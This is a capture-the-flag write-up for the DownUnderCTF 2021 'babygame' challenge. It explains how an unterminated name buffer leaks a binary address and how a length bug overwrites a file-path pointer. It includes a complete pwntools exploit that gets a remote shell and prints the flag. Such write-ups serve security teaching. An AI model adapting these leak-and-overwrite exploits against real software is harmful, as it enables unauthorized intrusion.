# DownUnderCTF 2021

## babygame

> 100  
>  
> Not your typical shell game...  
>  
> Admin note: the server runs in a restricted environment where some of your
> favourite files might not exist. If you need a file for your exploit, use a
> file you know definitely exists (the binary tells you of at least one!)  
>  
> Author: grub  
>  
> `nc pwn-2021.duc.tf 31907`  
>  
> [`babygame`](babygame)

Tags: _pwn_ _x86-64_ _bof_ _remote-shell_ _global-variable-overwrite_
_variable-overwrite_

## Summary

Leak a global variable address with an unterminated string, then overwrite
said global with an address to a path to a predictable "urandom" to then
"guess" the number and get a shell.

> Some bitched this was _guessy_. This was not _guessy_ at all, they were just
> lazy. The _Admin note_ above was caving into the demands of the lazy.

## Analysis

### Checksec

```  
Arch: amd64-64-little  
RELRO: Partial RELRO  
Stack: Canary found  
NX: NX enabled  
PIE: PIE enabled  
```

Partial RELRO = GOT overwrite; Otherwise all mitigations in place.

### Decompile with Ghidra

```c  
void main(EVP_PKEY_CTX *param_1)  
{  
int iVar1;  
  
init(param_1);  
puts("Welcome, what is your name?");  
read(0,NAME,0x20);  
RANDBUF = "/dev/urandom";  
do {  
while( true ) {  
while( true ) {  
print_menu();  
iVar1 = get_num();  
if (iVar1 != 0x539) break;  
game();  
}  
if (iVar1 < 0x53a) break;  
LAB_0010126c:  
puts("Invalid choice.");  
}  
if (iVar1 == 1) {  
set_username();  
}  
else {  
if (iVar1 != 2) goto LAB_0010126c;  
print_username();  
}  
} while( true );  
}  
```

Both `NAME` and `RANDBUF` are globals (Ghidra actually color codes them to
make them easy to spot, but I'm too lazy to take a screen shot and embed, so
you'll have to see for yourself):

```  
NAME  
001040a0 00 00 00 undefine...  
00 00 00  
00 00 00  
RANDBUF  
001040c0 00 00 00 undefined8 0000000000000000h  
00 00 00  
00 00  
```

Notice that `NAME` is exactly `0x20` bytes before `RANDBUF`. The
`read(0,NAME,0x20);` does not terminate the input as a string, so if you input
`0x20` (`32`) bytes and then read the string you can leak the value of
`RANDBUF`. `RANDBUF` is a pointer to a static string within the binary. Using
that pointer we can leak the process base address (PIE is enabled, so we need
this leak). If we know the process address, then we know the address of both
`NAME` and `RANDBUF`. We'll need this to win the `game`:

```  
void game(void)  
{  
int iVar1;  
FILE *__stream;  
long in_FS_OFFSET;  
int local_14;  
long local_10;  
  
local_10 = *(long *)(in_FS_OFFSET + 0x28);  
__stream = fopen(RANDBUF,"rb");  
fread(&local_14,1,4,__stream);  
printf("guess: ");  
iVar1 = get_num();  
if (iVar1 == local_14) {  
system("/bin/sh");  
}  
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {  
__stack_chk_fail();  
}  
return;  
}  
```

`game` will open `RANDBUF` (set to `/dev/urandom` in `main`) and read 4 bytes.
You have to correctly guess the 4 bytes (2<sup>32</sup> possibilities) to win
the game.

To _game_ the system we need to change `RANDBUF` to point to a string that is
a file we know the contents of, or at least the first 4 bytes. From the
previous challenges we know the flag is `./flag.txt` and the first 4 bytes
will be `DUCT`. Other obvious options would be `./babygame` or `/bin/sh` (both
have the same standard 4-byte ELF header). To make this change we'll have to
use:

```  
void set_username(void)  
{  
FILE *__stream;  
size_t __n;  
  
puts("What would you like to change your username to?");  
__stream = stdin;  
__n = strlen(NAME);  
fread(NAME,1,__n,__stream);  
return;  
}  
```

The bug here is that instead of limiting the input to `0x20` bytes like the
initial `read` from `main`, it is limited by the length of the current `NAME`,
which will be `0x20` + `6` (remember x86_64 address are usually 48-bits with
`\0\0` as the most significant bytes) bytes IFF we started with a `0x20`
(`32`) byte name and did not terminate with a null.

We have all the bits we need to exploit this challenge.

## Exploit

```python  
#!/usr/bin/env python3

from pwn import *

binary = context.binary = ELF('./babygame')

if args.REMOTE:  
p = remote('pwn-2021.duc.tf', 31907)  
else:  
p = process(binary.path)

# send 32 byte name to leak address of binary  
p.sendafter(b'?\n',32 * b'A')

# get binary address  
p.sendlineafter(b'> ',b'2')  
p.recv(32)  
binary.address = u64(p.recv(6) + b'\0\0') -
binary.search(b'/dev/urandom').__next__()  
log.info('binary.address: ' + hex(binary.address))

# point RANDBUF to NAME; set NAME to ./flag.txt; we know flag starts with DUCT  
p.sendlineafter(b'> ',b'1')

payload = b''  
payload += b'./flag.txt\0'  
payload += (32 - len(payload)) * b'A'  
payload += p64(binary.sym.NAME)[:6]

p.sendafter(b'?\n',payload)

# get shell  
p.sendlineafter(b'> ',b'1337')  
p.sendlineafter(b'guess: ',str(u32(b'DUCT')).encode())  
p.interactive()  
```

From top down, first we'll send `32` (`0x20`) bytes without a newline (hence
`sendafter` vs `sendlineafter`).

Then we'll print the name to leak a binary address and compute the base.

Next we'll change our name to `./flag.txt\0` + enough garbage to get us to
`RANDBUF` and set that pointer to point to `NAME`.

Finally, to get a shell we'll enter the magic number `1337` (see `main`), then
send the bytes `DUCT` as an integer since that is what `get_num` expects.

Output:

```bash  
# ./exploit.py REMOTE=1  
[*] '/pwd/datajerk/downunderctf2021/babygame/babygame'  
Arch: amd64-64-little  
RELRO: Partial RELRO  
Stack: Canary found  
NX: NX enabled  
PIE: PIE enabled  
[+] Opening connection to pwn-2021.duc.tf on port 31907: Done  
[*] binary.address: 0x55ab1e260000  
[*] Switching to interactive mode  
$ cat flag.txt  
DUCTF{whats_in_a_name?_5aacfc58}  
```  

Original writeup (https://github.com/datajerk/ctf-write-
ups/tree/master/downunderctf2021/babygame).